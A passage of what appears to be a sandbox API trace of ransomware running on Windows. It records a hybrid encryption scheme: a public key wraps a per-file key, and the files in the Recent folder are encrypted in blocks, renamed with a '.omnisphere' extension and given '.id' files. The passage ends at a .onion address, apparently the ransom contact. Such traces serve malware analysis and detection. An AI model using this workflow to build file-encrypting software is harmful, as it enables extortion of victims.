[0118.318] WriteFile (in: hFile=0x28c, lpBuffer=0x169cea0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169cea0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.318] CloseHandle (hObject=0x28c) returned 1 [0118.318] GetProcessHeap () returned 0x1600000 [0118.318] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a1250 | out: hHeap=0x1600000) returned 1 [0118.318] GetProcessHeap () returned 0x1600000 [0118.318] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.318] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.318] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.319] CloseHandle (hObject=0x28c) returned 1 [0118.319] GetProcessHeap () returned 0x1600000 [0118.319] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.319] GetProcessHeap () returned 0x1600000 [0118.319] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165eb88 | out: hHeap=0x1600000) returned 1 [0118.319] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ff89f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20ed5112, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20ed5112, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0xd3, cFileName="0BMtIgULhsjNh69RE4R.lnk", cAlternateFileName="0BMTIG~1.LNK")) returned 1 [0118.319] GetProcessHeap () returned 0x1600000 [0118.319] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1630ea0 [0118.319] PathCombineW (in: pszDest=0x1630ea0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="0BMtIgULhsjNh69RE4R.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk" [0118.319] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0bmtigulhsjnh69re4r.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.319] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1006) returned 1 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.319] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] GetTickCount () returned 0x115d926 [0118.320] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0118.321] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.321] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.321] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.321] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0118.321] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee, lpName=0x0) returned 0x288 [0118.321] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ee) returned 0x1480000 [0118.321] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0118.322] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.322] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.322] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.323] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.324] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.324] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0118.324] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ee, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.324] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.324] GetProcessHeap () returned 0x1600000 [0118.324] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16a3258 [0118.324] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0bmtigulhsjnh69re4r.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0bmtigulhsjnh69re4r.lnk.omnisphere")) returned 1 [0118.326] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk.omnisphere.id" [0118.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0bmtigulhsjnh69re4r.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.326] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.327] CloseHandle (hObject=0x3c0) returned 1 [0118.328] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.328] CloseHandle (hObject=0x288) returned 1 [0118.328] SetEndOfFile (hFile=0x28c) returned 1 [0118.328] FlushFileBuffers (hFile=0x28c) returned 1 [0118.331] CloseHandle (hObject=0x28c) returned 1 [0118.332] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0BMtIgULhsjNh69RE4R.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.332] GetProcessHeap () returned 0x1600000 [0118.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a3520 [0118.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.332] GetProcessHeap () returned 0x1600000 [0118.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693990 [0118.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693990, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.332] lstrcatA (in: lpString1="", 